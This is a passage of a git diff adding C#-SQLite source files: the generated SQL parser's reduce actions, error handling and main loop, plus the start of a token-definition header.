ExprSetProperty(yygotominor.yy346.pExpr, EP_xIsSelect); + sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); + } + else + { + sqlite3SrcListDelete(pParse.db, ref pSrc); + } + if (yymsp[-2].minor.yy328 != 0) yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_NOT, yygotominor.yy346.pExpr, 0, 0); + yygotominor.yy346.zStart = yymsp[-3].minor.yy346.zStart; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z != null ? yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n) : yymsp[-1].minor.yy0.z.Substring(yymsp[-1].minor.yy0.n); + } + //#line 3102 "parse.c" + break; + case 231: /* expr ::= EXISTS LP select RP */ + //#line 988 "parse.y" + { + Expr p = yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_EXISTS, 0, 0, 0); + if (p != null) + { + p.x.pSelect = yymsp[-1].minor.yy3; + ExprSetProperty(p, EP_xIsSelect); + sqlite3ExprSetHeight(pParse, p); + } + else + { + sqlite3SelectDelete(pParse.db, ref yymsp[-1].minor.yy3); + } + yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3118 "parse.c" + break; + case 232: /* expr ::= CASE case_operand case_exprlist case_else END */ + //#line 1003 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_CASE, yymsp[-3].minor.yy132, yymsp[-1].minor.yy132, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.x.pList = yymsp[-2].minor.yy14; + sqlite3ExprSetHeight(pParse, yygotominor.yy346.pExpr); + } + else + { + sqlite3ExprListDelete(pParse.db, ref yymsp[-2].minor.yy14); + } + yygotominor.yy346.zStart = yymsp[-4].minor.yy0.z; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3133 "parse.c" + break; + case 233: /* case_exprlist ::= case_exprlist WHEN expr THEN expr */ + //#line 1016 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, yymsp[-2].minor.yy346.pExpr); + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr); + } + //#line 3141 "parse.c" + break; + case 234: /* case_exprlist ::= WHEN expr THEN expr */ + //#line 1020 "parse.y" + { + yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, yymsp[-2].minor.yy346.pExpr); + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yygotominor.yy14, yymsp[0].minor.yy346.pExpr); + } + //#line 3149 "parse.c" + break; + case 243: /* cmd ::= createkw uniqueflag INDEX ifnotexists nm dbnm ON nm LP idxlist RP */ + //#line 1049 "parse.y" + { + sqlite3CreateIndex(pParse, yymsp[-6].minor.yy0, yymsp[-5].minor.yy0, + sqlite3SrcListAppend(pParse.db, 0, yymsp[-3].minor.yy0, 0), yymsp[-1].minor.yy14, yymsp[-9].minor.yy328, + yymsp[-10].minor.yy0, yymsp[0].minor.yy0, SQLITE_SO_ASC, yymsp[-7].minor.yy328); + } + //#line 3158 "parse.c" + break; + case 244: /* uniqueflag ::= UNIQUE */ + case 298: /* raisetype ::= ABORT */ //yytestcase(yyruleno==298); + //#line 1056 "parse.y" + { yygotominor.yy328 = OE_Abort; } + //#line 3164 "parse.c" + break; + case 245: /* uniqueflag ::= */ + //#line 1057 "parse.y" + { yygotominor.yy328 = OE_None; } + //#line 3169 "parse.c" + break; + case 248: /* idxlist ::= idxlist COMMA nm collate sortorder */ + //#line 1066 "parse.y" + { + Expr p = null; + if (yymsp[-1].minor.yy0.n > 0) + { + p = sqlite3Expr(pParse.db, TK_COLUMN, null); + sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0); + } + yygotominor.yy14 = sqlite3ExprListAppend(pParse, yymsp[-4].minor.yy14, p); + sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); + sqlite3ExprListCheckLength(pParse, yygotominor.yy14, "index"); + if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; + } + //#line 3184 "parse.c" + break; + case 249: /* idxlist ::= nm collate sortorder */ + //#line 1077 "parse.y" + { + Expr p = null; + if (yymsp[-1].minor.yy0.n > 0) + { + p = sqlite3PExpr(pParse, TK_COLUMN, 0, 0, 0); + sqlite3ExprSetColl(pParse, p, yymsp[-1].minor.yy0); + } + yygotominor.yy14 = sqlite3ExprListAppend(pParse, 0, p); + sqlite3ExprListSetName(pParse, yygotominor.yy14, yymsp[-2].minor.yy0, 1); + sqlite3ExprListCheckLength(pParse, yygotominor.yy14, "index"); + if (yygotominor.yy14 != null) yygotominor.yy14.a[yygotominor.yy14.nExpr - 1].sortOrder = (u8)yymsp[0].minor.yy328; + } + //#line 3199 "parse.c" + break; + case 250: /* collate ::= */ + //#line 1090 "parse.y" + { yygotominor.yy0.z = null; yygotominor.yy0.n = 0; } + //#line 3204 "parse.c" + break; + case 252: /* cmd ::= DROP INDEX ifexists fullname */ + //#line 1096 "parse.y" + { sqlite3DropIndex(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328); } + //#line 3209 "parse.c" + break; + case 253: /* cmd ::= VACUUM */ + case 254: /* cmd ::= VACUUM nm */ //yytestcase(yyruleno==254); + //#line 1102 "parse.y" + { sqlite3Vacuum(pParse); } + //#line 3215 "parse.c" + break; + case 255: /* cmd ::= PRAGMA nm dbnm */ + //#line 1110 "parse.y" + { sqlite3Pragma(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0, 0, 0); } + //#line 3220 "parse.c" + break; + case 256: /* cmd ::= PRAGMA nm dbnm EQ nmnum */ + //#line 1111 "parse.y" + { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 0); } + //#line 3225 "parse.c" + break; + case 257: /* cmd ::= PRAGMA nm dbnm LP nmnum RP */ + //#line 1112 "parse.y" + { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 0); } + //#line 3230 "parse.c" + break; + case 258: /* cmd ::= PRAGMA nm dbnm EQ minus_num */ + //#line 1114 "parse.y" + { sqlite3Pragma(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0, 1); } + //#line 3235 "parse.c" + break; + case 259: /* cmd ::= PRAGMA nm dbnm LP minus_num RP */ + //#line 1116 "parse.y" + { sqlite3Pragma(pParse, yymsp[-4].minor.yy0, yymsp[-3].minor.yy0, yymsp[-1].minor.yy0, 1); } + //#line 3240 "parse.c" + break; + case 270: /* cmd ::= createkw trigger_decl BEGIN trigger_cmd_list END */ + //#line 1134 "parse.y" + { + Token all = new Token(); + //all.z = yymsp[-3].minor.yy0.z; + //all.n = (int)(yymsp[0].minor.yy0.z - yymsp[-3].minor.yy0.z) + yymsp[0].minor.yy0.n; + all.n = (int)(yymsp[-3].minor.yy0.z.Length - yymsp[0].minor.yy0.z.Length) + yymsp[0].minor.yy0.n; + all.z = yymsp[-3].minor.yy0.z.Substring(0, all.n); + sqlite3FinishTrigger(pParse, yymsp[-1].minor.yy473, all); + } + //#line 3250 "parse.c" + break; + case 271: /* trigger_decl ::= temp TRIGGER ifnotexists nm dbnm trigger_time trigger_event ON fullname foreach_clause when_clause */ + //#line 1143 "parse.y" + { + sqlite3BeginTrigger(pParse, yymsp[-7].minor.yy0, yymsp[-6].minor.yy0, yymsp[-5].minor.yy328, yymsp[-4].minor.yy378.a, yymsp[-4].minor.yy378.b, yymsp[-2].minor.yy65, yymsp[0].minor.yy132, yymsp[-10].minor.yy328, yymsp[-8].minor.yy328); + yygotominor.yy0 = (yymsp[-6].minor.yy0.n == 0 ? yymsp[-7].minor.yy0 : yymsp[-6].minor.yy0); + } + //#line 3258 "parse.c" + break; + case 272: /* trigger_time ::= BEFORE */ + case 275: /* trigger_time ::= */ //yytestcase(yyruleno==275); + //#line 1149 "parse.y" + { yygotominor.yy328 = TK_BEFORE; } + //#line 3264 "parse.c" + break; + case 273: /* trigger_time ::= AFTER */ + //#line 1150 "parse.y" + { yygotominor.yy328 = TK_AFTER; } + //#line 3269 "parse.c" + break; + case 274: /* trigger_time ::= INSTEAD OF */ + //#line 1151 "parse.y" + { yygotominor.yy328 = TK_INSTEAD; } + //#line 3274 "parse.c" + break; + case 276: /* trigger_event ::= DELETE|INSERT */ + case 277: /* trigger_event ::= UPDATE */ //yytestcase(yyruleno==277); + //#line 1156 "parse.y" + { yygotominor.yy378.a = yymsp[0].major; yygotominor.yy378.b = null; } + //#line 3280 "parse.c" + break; + case 278: /* trigger_event ::= UPDATE OF inscollist */ + //#line 1158 "parse.y" + { yygotominor.yy378.a = TK_UPDATE; yygotominor.yy378.b = yymsp[0].minor.yy408; } + //#line 3285 "parse.c" + break; + case 281: /* when_clause ::= */ + case 303: /* key_opt ::= */ //yytestcase(yyruleno==303); + //#line 1165 "parse.y" + { yygotominor.yy132 = null; } + //#line 3291 "parse.c" + break; + case 282: /* when_clause ::= WHEN expr */ + case 304: /* key_opt ::= KEY expr */ //yytestcase(yyruleno==304); + //#line 1166 "parse.y" + { yygotominor.yy132 = yymsp[0].minor.yy346.pExpr; } + //#line 3297 "parse.c" + break; + case 283: /* trigger_cmd_list ::= trigger_cmd_list trigger_cmd SEMI */ + //#line 1170 "parse.y" + { + Debug.Assert(yymsp[-2].minor.yy473 != null); + yymsp[-2].minor.yy473.pLast.pNext = yymsp[-1].minor.yy473; + yymsp[-2].minor.yy473.pLast = yymsp[-1].minor.yy473; + yygotominor.yy473 = yymsp[-2].minor.yy473; + } + //#line 3307 "parse.c" + break; + case 284: /* trigger_cmd_list ::= trigger_cmd SEMI */ + //#line 1176 "parse.y" + { + Debug.Assert(yymsp[-1].minor.yy473 != null); + yymsp[-1].minor.yy473.pLast = yymsp[-1].minor.yy473; + yygotominor.yy473 = yymsp[-1].minor.yy473; + } + //#line 3316 "parse.c" + break; + case 286: /* trnm ::= nm DOT nm */ + //#line 1188 "parse.y" + { + yygotominor.yy0 = yymsp[0].minor.yy0; + sqlite3ErrorMsg(pParse, + "qualified table names are not allowed on INSERT, UPDATE, and DELETE " + + "statements within triggers"); + } + //#line 3326 "parse.c" + break; + case 288: /* tridxby ::= INDEXED BY nm */ + //#line 1200 "parse.y" + { + sqlite3ErrorMsg(pParse, + "the INDEXED BY clause is not allowed on UPDATE or DELETE statements " + + "within triggers"); + } + //#line 3335 "parse.c" + break; + case 289: /* tridxby ::= NOT INDEXED */ + //#line 1205 "parse.y" + { + sqlite3ErrorMsg(pParse, + "the NOT INDEXED clause is not allowed on UPDATE or DELETE statements " + + "within triggers"); + } + //#line 3344 "parse.c" + break; + case 290: /* trigger_cmd ::= UPDATE orconf trnm tridxby SET setlist where_opt */ + //#line 1218 "parse.y" + { yygotominor.yy473 = sqlite3TriggerUpdateStep(pParse.db, yymsp[-4].minor.yy0, yymsp[-1].minor.yy14, yymsp[0].minor.yy132, yymsp[-5].minor.yy186); } + //#line 3349 "parse.c" + break; + case 291: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt VALUES LP itemlist RP */ + //#line 1223 "parse.y" + { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-5].minor.yy0, yymsp[-4].minor.yy408, yymsp[-1].minor.yy14, 0, yymsp[-7].minor.yy186); } + //#line 3354 "parse.c" + break; + case 292: /* trigger_cmd ::= insert_cmd INTO trnm inscollist_opt select */ + //#line 1226 "parse.y" + { yygotominor.yy473 = sqlite3TriggerInsertStep(pParse.db, yymsp[-2].minor.yy0, yymsp[-1].minor.yy408, 0, yymsp[0].minor.yy3, yymsp[-4].minor.yy186); } + //#line 3359 "parse.c" + break; + case 293: /* trigger_cmd ::= DELETE FROM trnm tridxby where_opt */ + //#line 1230 "parse.y" + { yygotominor.yy473 = sqlite3TriggerDeleteStep(pParse.db, yymsp[-2].minor.yy0, yymsp[0].minor.yy132); } + //#line 3364 "parse.c" + break; + case 294: /* trigger_cmd ::= select */ + //#line 1233 "parse.y" + { yygotominor.yy473 = sqlite3TriggerSelectStep(pParse.db, yymsp[0].minor.yy3); } + //#line 3369 "parse.c" + break; + case 295: /* expr ::= RAISE LP IGNORE RP */ + //#line 1236 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, 0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.affinity = (char)OE_Ignore; + } + yygotominor.yy346.zStart = yymsp[-3].minor.yy0.z; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3381 "parse.c" + break; + case 296: /* expr ::= RAISE LP raisetype COMMA nm RP */ + //#line 1244 "parse.y" + { + yygotominor.yy346.pExpr = sqlite3PExpr(pParse, TK_RAISE, 0, 0, yymsp[-1].minor.yy0); + if (yygotominor.yy346.pExpr != null) + { + yygotominor.yy346.pExpr.affinity = (char)yymsp[-3].minor.yy328; + } + yygotominor.yy346.zStart = yymsp[-5].minor.yy0.z; + yygotominor.yy346.zEnd = yymsp[0].minor.yy0.z.Substring(yymsp[0].minor.yy0.n); + } + //#line 3393 "parse.c" + break; + case 297: /* raisetype ::= ROLLBACK */ + //#line 1255 "parse.y" + { yygotominor.yy328 = OE_Rollback; } + //#line 3398 "parse.c" + break; + case 299: /* raisetype ::= FAIL */ + //#line 1257 "parse.y" + { yygotominor.yy328 = OE_Fail; } + //#line 3403 "parse.c" + break; + case 300: /* cmd ::= DROP TRIGGER ifexists fullname */ + //#line 1262 "parse.y" + { + sqlite3DropTrigger(pParse, yymsp[0].minor.yy65, yymsp[-1].minor.yy328); + } + //#line 3410 "parse.c" + break; + case 301: /* cmd ::= ATTACH database_kw_opt expr AS expr key_opt */ + //#line 1269 "parse.y" + { + sqlite3Attach(pParse, yymsp[-3].minor.yy346.pExpr, yymsp[-1].minor.yy346.pExpr, yymsp[0].minor.yy132); + } + //#line 3417 "parse.c" + break; + case 302: /* cmd ::= DETACH database_kw_opt expr */ + //#line 1272 "parse.y" + { + sqlite3Detach(pParse, yymsp[0].minor.yy346.pExpr); + } + //#line 3424 "parse.c" + break; + case 307: /* cmd ::= REINDEX */ + //#line 1287 "parse.y" + { sqlite3Reindex(pParse, 0, 0); } + //#line 3429 "parse.c" + break; + case 308: /* cmd ::= REINDEX nm dbnm */ + //#line 1288 "parse.y" + { sqlite3Reindex(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } + //#line 3434 "parse.c" + break; + case 309: /* cmd ::= ANALYZE */ + //#line 1293 "parse.y" + { sqlite3Analyze(pParse, 0, 0); } + //#line 3439 "parse.c" + break; + case 310: /* cmd ::= ANALYZE nm dbnm */ + //#line 1294 "parse.y" + { sqlite3Analyze(pParse, yymsp[-1].minor.yy0, yymsp[0].minor.yy0); } + //#line 3444 "parse.c" + break; + case 311: /* cmd ::= ALTER TABLE fullname RENAME TO nm */ + //#line 1299 "parse.y" + { + sqlite3AlterRenameTable(pParse, yymsp[-3].minor.yy65, yymsp[0].minor.yy0); + } + //#line 3451 "parse.c" + break; + case 312: /* cmd ::= ALTER TABLE add_column_fullname ADD kwcolumn_opt column */ + //#line 1302 "parse.y" + { + sqlite3AlterFinishAddColumn(pParse, yymsp[0].minor.yy0); + } + //#line 3458 "parse.c" + break; + case 313: /* add_column_fullname ::= fullname */ + //#line 1305 "parse.y" + { + pParse.db.lookaside.bEnabled = 0; + sqlite3AlterBeginAddColumn(pParse, yymsp[0].minor.yy65); + } + //#line 3466 "parse.c" + break; + case 316: /* cmd ::= create_vtab */ + //#line 1315 "parse.y" + { sqlite3VtabFinishParse(pParse, 0); } + //#line 3471 "parse.c" + break; + case 317: /* cmd ::= create_vtab LP vtabarglist RP */ + //#line 1316 "parse.y" + { sqlite3VtabFinishParse(pParse, yymsp[0].minor.yy0); } + //#line 3476 "parse.c" + break; + case 318: /* create_vtab ::= createkw VIRTUAL TABLE nm dbnm USING nm */ + //#line 1317 "parse.y" + { + sqlite3VtabBeginParse(pParse, yymsp[-3].minor.yy0, yymsp[-2].minor.yy0, yymsp[0].minor.yy0); + } + //#line 3483 "parse.c" + break; + case 321: /* vtabarg ::= */ + //#line 1322 "parse.y" + { sqlite3VtabArgInit(pParse); } + //#line 3488 "parse.c" + break; + case 323: /* vtabargtoken ::= ANY */ + case 324: /* vtabargtoken ::= lp anylist RP */ //yytestcase(yyruleno==324); + case 325: /* lp ::= LP */ //yytestcase(yyruleno==325); + //#line 1324 "parse.y" + { sqlite3VtabArgExtend(pParse, yymsp[0].minor.yy0); } + //#line 3495 "parse.c" + break; + default: + /* (0) input ::= cmdlist */ + //yytestcase(yyruleno==0); + /* (1) cmdlist ::= cmdlist ecmd */ + //yytestcase(yyruleno==1); + /* (2) cmdlist ::= ecmd */ + //yytestcase(yyruleno==2); + /* (3) ecmd ::= SEMI */ + //yytestcase(yyruleno==3); + /* (4) ecmd ::= explain cmdx SEMI */ + //yytestcase(yyruleno==4); + /* (10) trans_opt ::= */ + //yytestcase(yyruleno==10); + /* (11) trans_opt ::= TRANSACTION */ + //yytestcase(yyruleno==11); + /* (12) trans_opt ::= TRANSACTION nm */ + //yytestcase(yyruleno==12); + /* (20) savepoint_opt ::= SAVEPOINT */ + //yytestcase(yyruleno==20); + /* (21) savepoint_opt ::= */ + //yytestcase(yyruleno==21); + /* (25) cmd ::= create_table create_table_args */ + //yytestcase(yyruleno==25); + /* (34) columnlist ::= columnlist COMMA column */ + //yytestcase(yyruleno==34); + /* (35) columnlist ::= column */ + //yytestcase(yyruleno==35); + /* (44) type ::= */ + //yytestcase(yyruleno==44); + /* (51) signed ::= plus_num */ + //yytestcase(yyruleno==51); + /* (52) signed ::= minus_num */ + //yytestcase(yyruleno==52); + /* (53) carglist ::= carglist carg */ + //yytestcase(yyruleno==53); + /* (54) carglist ::= */ + //yytestcase(yyruleno==54); + /* (55) carg ::= CONSTRAINT nm ccons */ + //yytestcase(yyruleno==55); + /* (56) carg ::= ccons */ + //yytestcase(yyruleno==56); + /* (62) ccons ::= NULL onconf */ + //yytestcase(yyruleno==62); + /* (89) conslist ::= conslist COMMA tcons */ + //yytestcase(yyruleno==89); + /* (90) conslist ::= conslist tcons */ + //yytestcase(yyruleno==90); + /* (91) conslist ::= tcons */ + //yytestcase(yyruleno==91); + /* (92) tcons ::= CONSTRAINT nm */ + //yytestcase(yyruleno==92); + /* (268) plus_opt ::= PLUS */ + //yytestcase(yyruleno==268); + /* (269) plus_opt ::= */ + //yytestcase(yyruleno==269); + /* (279) foreach_clause ::= */ + //yytestcase(yyruleno==279); + /* (280) foreach_clause ::= FOR EACH ROW */ + //yytestcase(yyruleno==280); + /* (287) tridxby ::= */ + //yytestcase(yyruleno==287); + /* (305) database_kw_opt ::= DATABASE */ + //yytestcase(yyruleno==305); + /* (306) database_kw_opt ::= */ + //yytestcase(yyruleno==306); + /* (314) kwcolumn_opt ::= */ + //yytestcase(yyruleno==314); + /* (315) kwcolumn_opt ::= COLUMNKW */ + //yytestcase(yyruleno==315); + /* (319) vtabarglist ::= vtabarg */ + //yytestcase(yyruleno==319); + /* (320) vtabarglist ::= vtabarglist COMMA vtabarg */ + //yytestcase(yyruleno==320); + /* (322) vtabarg ::= vtabarg vtabargtoken */ + //yytestcase(yyruleno==322); + /* (326) anylist ::= */ + //yytestcase(yyruleno==326); + /* (327) anylist ::= anylist LP anylist RP */ + //yytestcase(yyruleno==327); + /* (328) anylist ::= anylist ANY */ + //yytestcase(yyruleno==328); + break; + }; + yygoto = yyRuleInfo[yyruleno].lhs; + yysize = yyRuleInfo[yyruleno].nrhs; + yypParser.yyidx -= yysize; + yyact = yy_find_reduce_action(yymsp[-yysize].stateno, (YYCODETYPE)yygoto); + if (yyact < YYNSTATE) + { +#if NDEBUG +/* If we are not debugging and the reduce action popped at least +** one element off the stack, then we can push the new element back +** onto the stack here, and skip the stack overflow test in yy_shift(). +** That gives a significant speed improvement. */ +if( yysize!=0 ){ +yypParser.yyidx++; +yymsp._yyidx -= yysize - 1; +yymsp[0].stateno = (YYACTIONTYPE)yyact; +yymsp[0].major = (YYCODETYPE)yygoto; +yymsp[0].minor = yygotominor; +}else +#endif + { + yy_shift(yypParser, yyact, yygoto, yygotominor); + } + } + else + { + Debug.Assert(yyact == YYNSTATE + YYNRULE + 1); + yy_accept(yypParser); + } + } + + /* + ** The following code executes when the parse fails + */ +#if !YYNOERRORRECOVERY + static void yy_parse_failed( + yyParser yypParser /* The parser */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; +#if !NDEBUG + if (yyTraceFILE != null) + { + Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sFail!\n", yyTracePrompt); + } +#endif + while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); + /* Here code is inserted which will be executed whenever the + ** parser fails */ + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } +#endif //* YYNOERRORRECOVERY */ + + /* +** The following code executes when a syntax error first occurs. +*/ + static void yy_syntax_error( + yyParser yypParser, /* The parser */ + int yymajor, /* The major type of the error token */ + YYMINORTYPE yyminor /* The minor type of the error token */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; + //#define TOKEN (yyminor.yy0) + //#line 34 "parse.y" + + UNUSED_PARAMETER(yymajor); /* Silence some compiler warnings */ + Debug.Assert(yyminor.yy0.z.Length > 0); //TOKEN.z[0]); /* The tokenizer always gives us a token */ + sqlite3ErrorMsg(pParse, "near \"%T\": syntax error", yyminor.yy0);//&TOKEN); + pParse.parseError = 1; + //#line 3603 "parse.c" + yypParser.pParse = pParse; // sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } + + /* + ** The following is executed when the parser accepts + */ + static void yy_accept( + yyParser yypParser /* The parser */ + ) + { + Parse pParse = yypParser.pParse; // sqlite3ParserARG_FETCH; +#if !NDEBUG + if (yyTraceFILE != null) + { + fprintf(yyTraceFILE, "%sAccept!\n", yyTracePrompt); + } +#endif + while (yypParser.yyidx >= 0) yy_pop_parser_stack(yypParser); + /* Here code is inserted which will be executed whenever the + ** parser accepts */ + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; /* Suppress warning about unused %extra_argument variable */ + } + + /* The main parser program. + ** The first argument is a pointer to a structure obtained from + ** "sqlite3ParserAlloc" which describes the current state of the parser. + ** The second argument is the major token number. The third is + ** the minor token. The fourth optional argument is whatever the + ** user wants (and specified in the grammar) and is available for + ** use by the action routines. + ** + ** Inputs: + **
      + **
    • A pointer to the parser (an opaque structure.) + **
    • The major token number. + **
    • The minor token number. + **
    • An option argument of a grammar-specified type. + **
    + ** + ** Outputs: + ** None. + */ + static void sqlite3Parser( + yyParser yyp, /* The parser */ + int yymajor, /* The major token code number */ + sqlite3ParserTOKENTYPE yyminor /* The value for the token */ + , Parse pParse //sqlite3ParserARG_PDECL /* Optional %extra_argument parameter */ + ) + { + YYMINORTYPE yyminorunion = new YYMINORTYPE(); + int yyact; /* The parser action. */ + bool yyendofinput; /* True if we are at the end of input */ +#if YYERRORSYMBOL +int yyerrorhit = 0; /* True if yymajor has invoked an error */ +#endif + yyParser yypParser; /* The parser */ + + /* (re)initialize the parser, if necessary */ + yypParser = yyp; + if (yypParser.yyidx < 0) + { +#if YYSTACKDEPTH//<=0 +if( yypParser.yystksz <=0 ){ +memset(yyminorunion, 0, yyminorunion).Length; +yyStackOverflow(yypParser, yyminorunion); +return; +} +#endif + yypParser.yyidx = 0; + yypParser.yyerrcnt = -1; + yypParser.yystack[0] = new yyStackEntry(); + yypParser.yystack[0].stateno = 0; + yypParser.yystack[0].major = 0; + } + yyminorunion.yy0 = yyminor.Copy(); + yyendofinput = (yymajor == 0); + yypParser.pParse = pParse;// sqlite3ParserARG_STORE; + +#if !NDEBUG + if (yyTraceFILE != null) + { + fprintf(yyTraceFILE, "%sInput %s\n", yyTracePrompt, yyTokenName[yymajor]); + } +#endif + + do + { + yyact = yy_find_shift_action(yypParser, (YYCODETYPE)yymajor); + if (yyact < YYNSTATE) + { + Debug.Assert(!yyendofinput); /* Impossible to shift the $ token */ + yy_shift(yypParser, yyact, yymajor, yyminorunion); + yypParser.yyerrcnt--; + yymajor = YYNOCODE; + } + else if (yyact < YYNSTATE + YYNRULE) + { + yy_reduce(yypParser, yyact - YYNSTATE); + } + else + { + Debug.Assert(yyact == YY_ERROR_ACTION); +#if YYERRORSYMBOL +int yymx; +#endif +#if !NDEBUG + if (yyTraceFILE != null) + { + Debugger.Break(); // TODO -- fprintf(yyTraceFILE, "%sSyntax Error!\n", yyTracePrompt); + } +#endif +#if YYERRORSYMBOL +/* A syntax error has occurred. +** The response to an error depends upon whether or not the +** grammar defines an error token "ERROR". +** +** This is what we do if the grammar does define ERROR: +** +** * Call the %syntax_error function. +** +** * Begin popping the stack until we enter a state where +** it is legal to shift the error symbol, then shift +** the error symbol. +** +** * Set the error count to three. +** +** * Begin accepting and shifting new tokens. No new error +** processing will occur until three tokens have been +** shifted successfully. +** +*/ +if( yypParser.yyerrcnt<0 ){ +yy_syntax_error(yypParser,yymajor,yyminorunion); +} +yymx = yypParser.yystack[yypParser.yyidx].major; +if( yymx==YYERRORSYMBOL || yyerrorhit ){ +#if !NDEBUG +if( yyTraceFILE ){ +Debug.Assert(false); // TODO -- fprintf(yyTraceFILE,"%sDiscard input token %s\n", +yyTracePrompt,yyTokenName[yymajor]); +} +#endif +yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); +yymajor = YYNOCODE; +}else{ +while( +yypParser.yyidx >= 0 && +yymx != YYERRORSYMBOL && +(yyact = yy_find_reduce_action( +yypParser.yystack[yypParser.yyidx].stateno, +YYERRORSYMBOL)) >= YYNSTATE +){ +yy_pop_parser_stack(yypParser); +} +if( yypParser.yyidx < 0 || yymajor==0 ){ +yy_destructor(yypParser, (YYCODETYPE)yymajor,yyminorunion); +yy_parse_failed(yypParser); +yymajor = YYNOCODE; +}else if( yymx!=YYERRORSYMBOL ){ +YYMINORTYPE u2; +u2.YYERRSYMDT = 0; +yy_shift(yypParser,yyact,YYERRORSYMBOL,u2); +} +} +yypParser.yyerrcnt = 3; +yyerrorhit = 1; +#elif (YYNOERRORRECOVERY) +/* If the YYNOERRORRECOVERY macro is defined, then do not attempt to +** do any kind of error recovery. Instead, simply invoke the syntax +** error routine and continue going as if nothing had happened. +** +** Applications can set this macro (for example inside %include) if +** they intend to abandon the parse upon the first syntax error seen. +*/ +yy_syntax_error(yypParser,yymajor,yyminorunion); +yy_destructor(yypParser,(YYCODETYPE)yymajor,yyminorunion); +yymajor = YYNOCODE; +#else // * YYERRORSYMBOL is not defined */ + /* This is what we do if the grammar does not define ERROR: +** +** * Report an error message, and throw away the input token. +** +** * If the input token is $, then fail the parse. +** +** As before, subsequent error messages are suppressed until +** three input tokens have been successfully shifted. +*/ + if (yypParser.yyerrcnt <= 0) + { + yy_syntax_error(yypParser, yymajor, yyminorunion); + } + yypParser.yyerrcnt = 3; + yy_destructor(yypParser, (YYCODETYPE)yymajor, yyminorunion); + if (yyendofinput) + { + yy_parse_failed(yypParser); + } + yymajor = YYNOCODE; +#endif + } + } while (yymajor != YYNOCODE && yypParser.yyidx >= 0); + return; + } + public class yymsp + { + public yyParser _yyParser; + public int _yyidx; + // CONSTRUCTOR + public yymsp(ref yyParser pointer_to_yyParser, int yyidx) //' Parser and Stack Index + { + this._yyParser = pointer_to_yyParser; + this._yyidx = yyidx; + } + // Default Value + public yyStackEntry this[int offset] + { + get { return _yyParser.yystack[_yyidx + offset]; } + } + } + } +} diff --git a/SQLite/src/parse_h.cs b/SQLite/src/parse_h.cs new file mode 100644 index 0000000..b245ef2 --- /dev/null +++ b/SQLite/src/parse_h.cs @@ -0,0 +1,326 @@ +/* +** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart +** C#-SQLite is an independent reimplementation of the SQLite software library +** +************************************************************************* +** Repository path : $HeadURL: https://sqlitecs.googlecode.com/svn/trunk/C%23SQLite/src/parse_h.cs $ +** Revision : $Revision$ +** Last Change Date: $LastChangedDate: 2009-08-04 13:34:52 -0700 (Tue, 04 Aug 2009) $ +** Last Changed By : $LastChangedBy: noah.hart $ +************************************************************************* +*/ + +namespace CS_SQLite3 +{ + public partial class CSSQLite + { + //#define TK_SEMI 1 + //#define TK_EXPLAIN 2 + //#define TK_QUERY 3 + //#define TK_PLAN 4 + //#define TK_BEGIN 5 + //#define TK_TRANSACTION 6 + //#define TK_DEFERRED 7 + //#define TK_IMMEDIATE 8 + //#define TK_EXCLUSIVE 9 + //#define TK_COMMIT 10 + //#define TK_END 11 + //#define TK_ROLLBACK 12 + //#define TK_SAVEPOINT 13 + //#define TK_RELEASE 14 + //#define TK_TO 15 + //#define TK_TABLE 16 + //#define TK_CREATE 17 + //#define TK_IF 18 + //#define TK_NOT 19 + //#define TK_EXISTS 20 + //#define TK_TEMP 21 + //#define TK_LP 22 + //#define TK_RP 23 + //#define TK_AS 24 + //#define TK_COMMA 25 + //#define TK_ID 26 + //#define TK_INDEXED 27 + //#define TK_ABORT 28 + //#define TK_AFTER 29 + //#define TK_ANALYZE 30 + //#define TK_ASC 31 + //#define TK_ATTACH 32 + //#define TK_BEFORE 33 + //#define TK_BY 34 + //#define TK_CASCADE 35 + //#define TK_CAST 36 + //#define TK_COLUMNKW 37 + //#define 